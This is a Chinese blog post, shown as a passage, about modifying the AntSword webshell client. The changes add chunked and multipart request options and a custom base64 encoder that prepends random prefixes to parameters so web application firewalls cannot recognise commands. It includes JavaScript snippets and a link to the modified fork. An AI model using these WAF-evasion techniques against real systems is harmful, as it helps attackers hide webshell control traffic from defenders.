    大概就是说如果开启了chunk传输后不拉不拉,否则的话就看看是否开启了Multipart,如果开启了不拉不拉,否则咕叽咕叽。

    主要的payload是以字典的形式放到_postData中,然后字典键跟值用=连接后放到_postarr数组中,最后再把_postarr数组用&连接起来就是我们最终发包的payload了。

    然后要到source/core/base.js中增加你的配置选项,注意的是蚁剑把普通请求跟下载请求的发包是分开的,所以需要改两处,自己vscode搜一下改一下。

    1. // 发送请求数据
    2. .send('request', {
    3. url: this.__opts__['url'],
    4. hash: hash,
    5. data: opt['data'],
    6. tag_s: opt['tag_s'],
    7. tag_e: opt['tag_e'],
    8. encode: this.__opts__['encode'],
    9. ignoreHTTPS: (this.__opts__['otherConf'] || {})['ignore-https'] === 1,
    10. useChunk: (this.__opts__['otherConf'] || {})['use-chunk'] === 1,
    11. chunkStepMin: (this.__opts__['otherConf'] || {})['chunk-step-byte-min'] || 2,
    12. chunkStepMax: (this.__opts__['otherConf'] || {})['chunk-step-byte-max'] || 3,
    13. useMultipart: (this.__opts__['otherConf'] || {})['use-multipart'] === 1,
    14. addMassData: (this.__opts__['otherConf'] || {})['add-MassData'] === 1,
    15. useRandomVariable: (this.__opts__['otherConf'] || {})['use-random-variable'] === 1,
    16. timeout: parseInt((this.__opts__['otherConf'] || {})['request-timeout']),
    17. headers: (this.__opts__['httpConf'] || {})['headers'] || {},
    18. body: (this.__opts__['httpConf'] || {})['body'] || {}
    19. });
    20. })
    21. }

    五、实现其他参数的随机化

    蚁剑一直有一个硬伤就是它对于其他参数的处理仅仅是一层base64。这就导致了不管怎么对主payload加密,WAF只要分析到其他的参数就能知道你在做什么。

    例如你在执行cmd的时候,就一定会发送一个经过base64编码的cmd字符串,这就留下了一个被WAF识别的特征。

     

     

    即使是蚁剑编码器仓库中的aes编码器也只是对主payload加了密,防护方在不需要解密主payload的情况下只要看到其他参数传的什么内容就能推测攻击者的行为。

    WAF拦了蚁剑发送的其它参数时怎么操作文章中给出了一种解决方案。主要思想就是在不修改主payload的情况下,配合客户端额外再把它加密解密一遍。

    可以是可以,但是很麻烦,对于普通的shell不具有适用性。

    这篇文章的目的就是解决掉这个历史遗留问题。

    随机化方式的选择

    想要从根本上解决问题就要修改核心payload,那么怎么改呢?

    以前师傅们的文章提出过两个方法,一种是把其他参数base64两次,还有一种是在其他参数前面加两个随机字符,然后主payload中再把它给substr截掉,来打乱base64的解码。

    如果方法是写死的话,无非只是WAF增加两条规则而已。蚁剑这么有名的项目,一定是防火墙商眼中紧盯的目标。最好的解决办法就是加入一个用户可控的参数,能够让用户自定义修改。这样才有可能最大程度的逃过WAF的流量查杀。

    所以本文采用的方法就是在每个第三方参数前,加入用户自定义长度的随机字符串,来打乱base64的解码。

    这时,如果WAF不能获得主payload中用户预定义的偏移量,也就无法对其他参数进行解密。此时我们的强加密型编码器才能真正起到作用。

    具体实现

    思路:

    获取用户预定义前缀偏移量->修改核心payload模版->给其他参数前增加随机字符串。

    前端的话首先写一个text框,来获取用户的输入:

    \source\core\base.js中定义randomPrefix变量:

    \source\modules\settings\adefault.js中设置默认值:

     然后后端就可以通过opts.otherConf["random-Prefix"]来获取用户定义的随机前缀的长度值。

    修改模版前要简单了解一下蚁剑对于参数的处理流程。

    在各类型shell的模版文件中,会定义默认的payload以及他们所需要的参数,还有对于参数的编码方式,source\core\php\template\filemanager.js。

    在获取到模版之后,parseTemplate会对其中的参数进行提取、解析、组合,形成要发送的payload
    source\core\base.js。

    所以我们要把用户预定义的前缀偏移量传入到两个地方:

    (1)核心payload模版
    (2)其他参数的组合模块

    在核心payload中,我们将要修改的偏移量用#randomPrefix#进行标记,到parseTemplate函数组合最终数据包的时候将其替换。

    然后定义一个新类型的编码处理器newbase64,在模板中修改对于参数的处理函数。

    1. /**
    2. * 增加随机前缀的base64编码
    3. * @param {String} str 字符串
    4. * @return {String} 编码后的字符串
    5. */
    6. newbase64(str) {
    7. let randomString=(length)=>{
    8. let chars='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    9. let result = '';
    10. for (let i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
    11. return result;
    12. }
    13. return randomString(randomPrefix)+Buffer.from(iconv.encode(Buffer.from(str), encode)).toString('base64');
    14. }

    修改后的模板长这个样:

    期间遇到一个小坑,就是无法在format()函数中获取opts的值。

     后来发现蚁剑中是这样写的:

    还特意把原来的new this.format给注释掉换成Base.prototype.format的形式,具体原因我也不知道为什么。如果有知道的师傅麻烦告诉我一下。

    既然追求刺激,那就贯彻到底,直接把opts传给format函数,然后在format中重新取所需要的变量。

    测试

    前缀长度默认为2,可以自行修改,只要不是4的倍数即可(原因自己思考一下)。

    可以正常使用:

    其中prototype是我们传入的第三方参数的值,在这里是要打开的绝对路径:

    prototype=ojRDovcGhwU3R1ZHkvUEhQVHV0b3JpYWwvV1dXL3BocE15QWRtaW4v

    直接base64解码会是乱码。

    去掉前两位后我们进行解码则可以得到正确的结果。

    偏移两位的效果可能还不是很明显,容易被猜出。但是当前缀长度达到10位以上的时候,就很难分析出最后的结果。

    对php类型修改后我在本地测试了主要的13个功能,均可以正常使用。但是由于涉及到修改核心payload,等确定没有bug了再改其他的。

    由于我是在父类Base中修改的编码模块,想修改其他类型的shell只需要照葫芦画瓢改一下对应的模版即可。

    修改后的项目地址:

    GitHub - yzddmr6/antSword at v2.1.x

  • 相关阅读:
    华为机考入门python3--(18)牛客18- 识别有效的IP地址和掩码并进行分类统计
    滑动窗口练习(一)— 固定窗口最大值问题
    期货开户交易所的手续费和查询方法
    【Es基础入门必看】
    7.22 SpringBoot项目实战【收藏 和 取消收藏】
    如何利用软文推广进行SEO优化(打造优质软文,提升网站排名)
    沃尔玛跨境电商怎么样,沃尔玛收款方式有哪些?——站斧浏览器
    【正点原子STM32连载】第十八章 独立看门狗(IWDG)实验 摘自【正点原子】MiniPro STM32H750 开发指南_V1.1
    AttributeError: ‘numpy.ndarray‘ object has no attribute ‘fill_betweenx‘
    Excel VSTO开发5 -Excel对象结构
  • 原文地址:https://blog.csdn.net/qq_35029061/article/details/126133159